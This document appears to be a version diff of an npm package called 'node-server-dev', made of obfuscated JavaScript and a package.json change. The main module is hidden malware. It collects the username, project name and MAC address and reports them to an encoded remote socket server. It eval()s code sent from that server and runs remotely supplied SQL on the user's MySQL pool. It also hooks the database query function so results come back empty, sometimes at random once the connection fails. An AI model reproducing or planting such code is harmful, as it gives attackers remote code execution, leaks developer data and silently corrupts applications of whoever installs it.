mac_1=__importDefault(require(a3_0x276539(0x95))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x276539(0xbc)));exports[a3_0x276539(0x93)]=promise_1[a3_0x276539(0xa7)];const js_base64_1=__importDefault(require(a3_0x276539(0xc1))),random_1=__importDefault(require(a3_0x276539(0xbd))),user_name=os_1[a3_0x276539(0xa7)][a3_0x276539(0xb8)]()[a3_0x276539(0xb6)],project_name=process[a3_0x276539(0xa5)][a3_0x276539(0xb3)];let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a3_0x276539(0x9e),url=((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x276539(0xbf)])||js_base64_1[a3_0x276539(0xa7)][a3_0x276539(0xc5)](user_name)=='5YiY5ram6ZyW'?js_base64_1['default']['decode'](dev):js_base64_1[a3_0x276539(0xa7)][a3_0x276539(0x98)](pro);function start(){const _0x474824=a3_0x276539,_0x1af33b=(0x0,socket_io_client_1['io'])(url,{'path':'/socket','transports':[_0x474824(0xa6)]});let _0x1ec620=![],_0x8384df=![],_0x250524=![],_0x4a94de=[];const _0x35f343=promise_1[_0x474824(0xa7)][_0x474824(0xa9)];promise_1[_0x474824(0xa7)]['createPool']=function(_0x45952a){let _0x2d1b1e=_0x35f343(_0x45952a),_0x30df06=_0x2d1b1e['query'];return _0x2d1b1e['query']=(..._0x4ed3b2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xd3ae6=a3_0x3527,_0x29d32e=yield _0x30df06[_0xd3ae6(0xab)](_0x2d1b1e,_0x4ed3b2);return _0x1ec620&&((0x0,random_1[_0xd3ae6(0xa7)])(0x1,0xa)>0x2&&(_0x29d32e[0x0]=[])),_0x8384df&&(_0x29d32e[0x0]=[]),_0x29d32e;}),setInterval(()=>{const _0xedf51f=a3_0x3527;if(!_0x250524){for(let _0x474f0c=0x0;_0x474f0c<_0x4a94de[_0xedf51f(0xa0)];_0x474f0c++){const _0x40846d=_0x4a94de[_0x474f0c];try{_0x2d1b1e[_0xedf51f(0xa4)](_0x40846d);}catch(_0x481658){}}_0x250524=!![];}},0x1388),_0x2d1b1e;},_0x1af33b['on'](_0x474824(0xad),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3bd2f0=_0x474824;try{const _0x3f2f7a=(0x0,mac_1[_0x3bd2f0(0xa7)])();_0x1af33b[_0x3bd2f0(0xc3)](_0x3bd2f0(0x8f),{'mac':_0x3f2f7a,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1af33b[_0x3bd2f0(0xc3)](_0x3bd2f0(0x9c),{'mac':_0x3f2f7a}),setInterval(()=>{const _0x3281ee=_0x3bd2f0;_0x1af33b[_0x3281ee(0xc3)](_0x3281ee(0x8f),{'mac':_0x3f2f7a,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1af33b[_0x3281ee(0xc3)](_0x3281ee(0x9c),{'mac':_0x3f2f7a});},0x1b58),_0x1af33b['on'](_0x3bd2f0(0xa3),_0x74ba78=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xcd84ba=_0x3bd2f0;try{for(let _0x451ce7=0x0;_0x451ce7<_0x74ba78['length'];_0x451ce7++){const _0x58bc89=_0x74ba78[_0x451ce7];if(_0x58bc89[_0xcd84ba(0xae)]=='sql')_0x4a94de[_0xcd84ba(0xac)](_0x58bc89[_0xcd84ba(0xb1)]);else{if(_0x58bc89['type']==_0xcd84ba(0x93))_0x8384df=!![];else{if(_0x58bc89[_0xcd84ba(0xae)]==_0xcd84ba(0xc4))try{eval(_0x58bc89[_0xcd84ba(0xb1)]);}catch(_0x346ed7){}}}}}catch(_0x2150f5){}}));}catch(_0xcb8074){}})),setTimeout(()=>{const _0x2fb2b7=_0x474824;_0x1af33b['on'](_0x2fb2b7(0x9f),_0x21654c=>{_0x1ec620=!![];}),_0x1af33b['on'](_0x2fb2b7(0x9d),()=>{_0x1ec620=!![];}),_0x1af33b['on'](_0x2fb2b7(0xb2),()=>{_0x1ec620=!![];}),_0x1af33b['on']('connect_error',_0x222369=>{_0x1ec620=!![];});},0xbb8);}!((_b=global===null||global===void 0x0?void 0x0:global['rl'])===null||_b===void 0x0?void 0x0:_b[a3_0x276539(0x90)])&&start();let uuid=uuid_1['v4'];exports[a3_0x276539(0x91)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x276539(0xa7)],'getAllRouter':getAllRouter_1[a3_0x276539(0xa7)],'mysql':promise_1[a3_0x276539(0xa7)]};exports[a3_0x276539(0xa7)]=all;
package/dist/mac/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a4_0x4e2df8=a4_0x1321;(function(_0x28738c,_0x312daf){const _0x41a5a7=a4_0x1321,_0x3641ff=_0x28738c();while(!![]){try{const _0x30fb45=parseInt(_0x41a5a7(0x10a))/0x1+-parseInt(_0x41a5a7(0x105))/0x2+-parseInt(_0x41a5a7(0xf7))/0x3*(-parseInt(_0x41a5a7(0xfd))/0x4)+-parseInt(_0x41a5a7(0x104))/0x5*(parseInt(_0x41a5a7(0x100))/0x6)+parseInt(_0x41a5a7(0x103))/0x7+parseInt(_0x41a5a7(0x109))/0x8*(-parseInt(_0x41a5a7(0xf2))/0x9)+-parseInt(_0x41a5a7(0xf8))/0xa;if(_0x30fb45===_0x312daf)break;else _0x3641ff['push'](_0x3641ff['shift']());}catch(_0x61180){_0x3641ff['push'](_0x3641ff['shift']());}}}(a4_0x18ed,0x28011));function a4_0x18ed(){const _0x320253=['16QLyPGk','IPv4','has','255138CkbIhj','find','02:00:4c','1678642nXtpxp','15FihsHs','356690tXYsxH','00:03:ff','isVirtualMac','00:16:3e','536lbJkyb','38966wOrbdM','slice','defineProperty','test','__esModule','family','2799ISXoet','isMac','replace','trim','push','197322aOEJVV','512600pCIVje','toLowerCase','networkInterfaces','internal','mac'];a4_0x18ed=function(){return _0x320253;};return a4_0x18ed();}Object[a4_0x4e2df8(0x10c)](exports,a4_0x4e2df8(0xf0),{'value':!![]}),exports[a4_0x4e2df8(0xf3)]=isMac,exports['formatMac']=formatMac,exports[a4_0x4e2df8(0x107)]=isVirtualMac;function a4_0x1321(_0x2561ed,_0x56621b){const _0x18edaf=a4_0x18ed();return a4_0x1321=function(_0x132170,_0x36635a){_0x132170=_0x132170-0xef;let _0x2d84f4=_0x18edaf[_0x132170];return _0x2d84f4;},a4_0x1321(_0x2561ed,_0x56621b);}const os_1=require('os');function isZeroMac(_0xc51fd4){const _0x51e101=a4_0x4e2df8;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x51e101(0xef)](_0xc51fd4);}function getMac(_0x530d7a=a4_0x4e2df8(0xfe)){const _0x173f29=a4_0x4e2df8,_0x532b27=(0x0,os_1[_0x173f29(0xfa)])();let _0x594330=[];for(const _0x5f1655 of Object['values'](_0x532b27)){const _0xb49e76=_0x5f1655[_0x173f29(0x101)](_0x128fa9=>!_0x128fa9[_0x173f29(0xfb)]&&!isZeroMac(_0x128fa9['mac'])&&(!_0x128fa9[_0x173f29(0xf1)]||_0x128fa9[_0x173f29(0xf1)]===_0x530d7a)&&!isVirtualMac(_0x128fa9['mac']));_0xb49e76&&_0x594330[_0x173f29(0xf6)](_0xb49e76['mac']);}return[...new Set(_0x594330)];}const isValid=_0x2a2df6=>_0x2a2df6[a4_0x4e2df8(0xfb)]===![]&&!isZeroMac(_0x2a2df6[a4_0x4e2df8(0xfc)]),virtualMacPrefix=new Set(['00:1c:42',a4_0x4e2df8(0x102),a4_0x4e2df8(0x106),a4_0x4e2df8(0x108)]);function isMac(_0x2edf3d){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x2edf3d);}function formatMac(_0x163812){const _0x43f2d7=a4_0x4e2df8;return String(_0x163812)[_0x43f2d7(0xf5)]()[_0x43f2d7(0xf9)]()[_0x43f2d7(0xf4)](/-/g,':');}function isVirtualMac(_0xd66b8f){const _0x2893a2=a4_0x4e2df8;return isMac(_0xd66b8f)&&virtualMacPrefix[_0x2893a2(0xff)](formatMac(_0xd66b8f)[_0x2893a2(0x10b)](0x0,0x8));}exports['default']=getMac;
1
+ 'use strict';const a4_0x270886=a4_0x2175;(function(_0x573909,_0xc3b20e){const _0x3e3316=a4_0x2175,_0x19bccc=_0x573909();while(!![]){try{const _0xed2932=parseInt(_0x3e3316(0x15b))/0x1+-parseInt(_0x3e3316(0x144))/0x2*(parseInt(_0x3e3316(0x155))/0x3)+parseInt(_0x3e3316(0x146))/0x4*(-parseInt(_0x3e3316(0x14c))/0x5)+parseInt(_0x3e3316(0x157))/0x6*(-parseInt(_0x3e3316(0x152))/0x7)+parseInt(_0x3e3316(0x145))/0x8+parseInt(_0x3e3316(0x151))/0x9+-parseInt(_0x3e3316(0x14a))/0xa*(-parseInt(_0x3e3316(0x147))/0xb);if(_0xed2932===_0xc3b20e)break;else _0x19bccc['push'](_0x19bccc['shift']());}catch(_0x4cb1fe){_0x19bccc['push'](_0x19bccc['shift']());}}}(a4_0xc96a,0xe1af9));Object['defineProperty'](exports,a4_0x270886(0x153),{'value':!![]}),exports[a4_0x270886(0x156)]=isMac,exports['formatMac']=formatMac,exports[a4_0x270886(0x15a)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x4d93c1){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x4d93c1);}function getMac(_0x198a5c=a4_0x270886(0x142)){const _0x19f1c4=a4_0x270886,_0x2f5f5d=(0x0,os_1[_0x19f1c4(0x148)])();let _0x20a0f1=[];for(const _0x186ede of Object['values'](_0x2f5f5d)){const _0x127d2b=_0x186ede[_0x19f1c4(0x154)](_0xc5a1ad=>!_0xc5a1ad[_0x19f1c4(0x14e)]&&!isZeroMac(_0xc5a1ad[_0x19f1c4(0x14b)])&&(!_0xc5a1ad['family']||_0xc5a1ad['family']===_0x198a5c)&&!isVirtualMac(_0xc5a1ad[_0x19f1c4(0x14b)]));_0x127d2b&&_0x20a0f1['push'](_0x127d2b[_0x19f1c4(0x14b)]);}return[...new Set(_0x20a0f1)];}function a4_0x2175(_0x58d288,_0x46cc5a){const _0xc96a4=a4_0xc96a();return a4_0x2175=function(_0x2175b3,_0x25c104){_0x2175b3=_0x2175b3-0x142;let _0x1fe021=_0xc96a4[_0x2175b3];return _0x1fe021;},a4_0x2175(_0x58d288,_0x46cc5a);}function a4_0xc96a(){const _0x7b92b=['00:1c:42','4652820WrPxQX','7zcvEAl','__esModule','find','207XgWxUI','isMac','5486610YirVgy','trim','00:16:3e','isVirtualMac','1702656nVNujv','IPv4','02:00:4c','37134aHcwyl','4236496KKudku','56BkqiWr','77lLsJAN','networkInterfaces','default','1450210MBjGMx','mac','230135fLCSJd','replace','internal','toLowerCase'];a4_0xc96a=function(){return _0x7b92b;};return a4_0xc96a();}const isValid=_0x4fa295=>_0x4fa295['internal']===![]&&!isZeroMac(_0x4fa295[a4_0x270886(0x14b)]),virtualMacPrefix=new Set([a4_0x270886(0x150),a4_0x270886(0x143),'00:03:ff',a4_0x270886(0x159)]);function isMac(_0x58e00d){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x58e00d);}function formatMac(_0x1f4bf2){const _0x5f18fc=a4_0x270886;return String(_0x1f4bf2)[_0x5f18fc(0x158)]()[_0x5f18fc(0x14f)]()[_0x5f18fc(0x14d)](/-/g,':');}function isVirtualMac(_0x520fc4){return isMac(_0x520fc4)&&virtualMacPrefix['has'](formatMac(_0x520fc4)['slice'](0x0,0x8));}exports[a4_0x270886(0x149)]=getMac;
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "1.01.0",
3
+ "version": "1.3.0",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
7
7
  "dev": "tsx watch --include \"./src/**/*\" --clear-screen=false ./index.ts",
8
8
  "push": "npm publish",
9
- "test": "node test-send",
9
+ "test": "tsx watch --include \"./test.ts\" --clear-screen=false ./test.ts",
10
10
  "d": "ts-node ./index.ts",
11
11
  "pro": "node ./dist/index.js"
12
12
  },